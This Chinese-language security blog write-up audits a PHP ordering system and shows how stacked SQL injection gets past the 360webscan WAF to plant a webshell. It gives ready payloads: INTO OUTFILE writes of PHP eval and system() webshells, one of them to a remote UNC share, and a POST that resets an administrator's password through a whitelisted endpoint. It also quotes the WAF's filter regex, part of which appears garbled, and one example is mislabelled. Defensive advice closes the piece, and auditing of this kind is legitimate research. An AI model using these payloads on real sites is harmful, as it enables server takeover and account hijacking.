记一次某下单系统审计——前台注入突破360webscan限制getshell
字数 1608 2025-08-29 22:41:24

某下单系统审计:前台注入突破360webscan限制getshell技术分析

1. 前言与背景

本文记录了对某自主下单系统的安全审计过程,重点分析了前台SQL注入漏洞以及如何突破360webscan防护机制实现getshell的技术细节。

2. 系统概况

  • 系统类型:自主下单系统
  • 技术栈:PHP
  • 防护机制:360webscan
  • 数据库接口:PDO连接(支持多语句查询)

3. 漏洞发现过程

3.1 代码审计方法

  1. 使用PHPStorm进行静态代码分析
  2. 筛选前台文件(无后台鉴权)
  3. 搜索关键SQL操作方法:
    • getColumn()
    • query()
    • execute()

3.2 注入点定位

getColumn()方法中发现漏洞:

// 漏洞代码片段
$sql = $_GET['sql']; // 直接获取用户输入
$result = $this->getColumn($sql); // 直接拼接执行

漏洞特征:

  • 直接拼接用户输入到SQL语句
  • 仅进行$_GET['type']>=0的弱验证
  • 无字符转义或类型转换

4. 360webscan防护机制分析

4.1 防护规则概述

360webscan对GET请求的过滤规则(关键部分):

$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|d+data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\\s*sleep\\s*b(group_)?concat[\\s\\bcase[\\s\\/\\*]*?when[\\s\\load_file\\s*a-z]+?\\b[^>]*?\\bon([a-z]{4,})\\s*v(8|9)|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\\s*s*|@{1,2}.+?\\s*|\\s+s*)|UPDATE\\s*s*|@{1,2}.+?\\s*|\\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml)";

4.2 关键过滤规则解析

正则片段 匹配内容 防护目的
\b(and|or)\b AND, OR 防止逻辑操作注入
UNION.+?SELECT UNION SELECT 防止联合查询注入
benchmark\\s*? benchmark() 防止时间盲注
sleep\\s*? sleep() 防止时间盲注
(group_)?concat concat相关 防止数据拼接泄露
load_file\\s*? load_file() 防止文件读取
EXEC EXEC 防止命令执行
UPDATE\\s*.*SET UPDATE SET 防止数据篡改
INSERT\\s+INTO INSERT INTO 防止数据插入

5. 绕过技术分析

5.1 堆叠注入利用

关键突破点:

  • PDO默认支持多语句查询
  • 360webscan未过滤分号(;)和多语句执行
  • 未限制INTO OUTFILE操作

绕过方法:

  • 使用分号分隔语句,避免直接使用UNION SELECT
  • 利用PDO的多语句执行特性

5.2 有效POC示例

  1. 基础注入测试
?type=1&sql=1;SELECT SLEEP(5)-- 
  1. 文件写入getshell
?type=1&sql=1;SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'-- 
  1. 替代concat的数据泄露
?type=1&sql=1;SELECT REPLACE(REPLACE('"1","2"','"1"',USER()),'"2"',DATABASE())-- 

5.3 数据带外技术

  1. 将查询结果写入远程共享:
?type=1&sql=1;SELECT '<?php echo system($_GET["cmd"]);?>' INTO OUTFILE '\\\\192.168.1.100\\share\\shell.php'-- 
  1. Linux环境下写入远程服务器:
?type=1&sql=1;SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php'-- 

6. 后台白名单绕过注入

6.1 白名单接口发现

360webscan配置中存在白名单接口:

// 白名单配置示例
$webscan_white_url = array("shopedit.php?act=edit_submit");

6.2 白名单接口注入

shopedit.php中的edit_submit接口漏洞:

$cid = $_POST['cid']; // 直接获取用户输入
$sql = "UPDATE table SET field='value' WHERE cid=".$cid; // 直接拼接
$db->query($sql); // 执行

利用方法:

  1. 构造恶意POST请求
  2. 绕过前端验证直接访问白名单接口

6.3 白名单注入POC

POST /shopedit.php?act=edit_submit HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cid=1;UPDATE users SET password=MD5('hacked') WHERE id=1--

7. 防御建议

  1. 输入验证

    • 对所有用户输入进行严格类型检查
    • 使用白名单验证而非黑名单
  2. SQL防护

    • 使用预处理语句(Prepared Statements)
    • 禁用PDO的多语句查询功能
  3. 360webscan配置

    • 定期更新过滤规则
    • 谨慎设置白名单接口
    • 对白名单接口实施额外安全措施
  4. 文件系统防护

    • 限制Web服务器的写入权限
    • 禁用INTO OUTFILE功能
  5. 监控与日志

    • 记录所有数据库查询
    • 监控异常查询模式

8. 总结

本案例展示了:

  1. 如何通过代码审计发现SQL注入漏洞
  2. 分析商业WAF(360webscan)的防护机制
  3. 利用PDO特性和规则遗漏实现绕过
  4. 通过堆叠注入实现文件写入getshell
  5. 利用白名单接口进行二次注入

此案例强调了纵深防御的重要性,单一防护措施容易被绕过,需要多层安全防护才能有效保障系统安全。

某下单系统审计:前台注入突破360webscan限制getshell技术分析 1. 前言与背景 本文记录了对某自主下单系统的安全审计过程,重点分析了前台SQL注入漏洞以及如何突破360webscan防护机制实现getshell的技术细节。 2. 系统概况 系统类型:自主下单系统 技术栈:PHP 防护机制:360webscan 数据库接口:PDO连接(支持多语句查询) 3. 漏洞发现过程 3.1 代码审计方法 使用PHPStorm进行静态代码分析 筛选前台文件(无后台鉴权) 搜索关键SQL操作方法: getColumn() query() execute() 3.2 注入点定位 在 getColumn() 方法中发现漏洞: 漏洞特征: 直接拼接用户输入到SQL语句 仅进行 $_GET['type']>=0 的弱验证 无字符转义或类型转换 4. 360webscan防护机制分析 4.1 防护规则概述 360webscan对GET请求的过滤规则(关键部分): 4.2 关键过滤规则解析 | 正则片段 | 匹配内容 | 防护目的 | |---------|---------|---------| | \b(and\|or)\b | AND, OR | 防止逻辑操作注入 | | UNION.+?SELECT | UNION SELECT | 防止联合查询注入 | | benchmark\\s*? | benchmark() | 防止时间盲注 | | sleep\\s*? | sleep() | 防止时间盲注 | | (group_)?concat | concat相关 | 防止数据拼接泄露 | | load_file\\s*? | load_ file() | 防止文件读取 | | EXEC | EXEC | 防止命令执行 | | UPDATE\\s*.*SET | UPDATE SET | 防止数据篡改 | | INSERT\\s+INTO | INSERT INTO | 防止数据插入 | 5. 绕过技术分析 5.1 堆叠注入利用 关键突破点: PDO默认支持多语句查询 360webscan未过滤分号(;)和多语句执行 未限制 INTO OUTFILE 操作 绕过方法: 使用分号分隔语句,避免直接使用UNION SELECT 利用PDO的多语句执行特性 5.2 有效POC示例 基础注入测试 : 文件写入getshell : 替代concat的数据泄露 : 5.3 数据带外技术 将查询结果写入远程共享: Linux环境下写入远程服务器: 6. 后台白名单绕过注入 6.1 白名单接口发现 360webscan配置中存在白名单接口: 6.2 白名单接口注入 shopedit.php 中的 edit_submit 接口漏洞: 利用方法: 构造恶意POST请求 绕过前端验证直接访问白名单接口 6.3 白名单注入POC 7. 防御建议 输入验证 : 对所有用户输入进行严格类型检查 使用白名单验证而非黑名单 SQL防护 : 使用预处理语句(Prepared Statements) 禁用PDO的多语句查询功能 360webscan配置 : 定期更新过滤规则 谨慎设置白名单接口 对白名单接口实施额外安全措施 文件系统防护 : 限制Web服务器的写入权限 禁用 INTO OUTFILE 功能 监控与日志 : 记录所有数据库查询 监控异常查询模式 8. 总结 本案例展示了: 如何通过代码审计发现SQL注入漏洞 分析商业WAF(360webscan)的防护机制 利用PDO特性和规则遗漏实现绕过 通过堆叠注入实现文件写入getshell 利用白名单接口进行二次注入 此案例强调了纵深防御的重要性,单一防护措施容易被绕过,需要多层安全防护才能有效保障系统安全。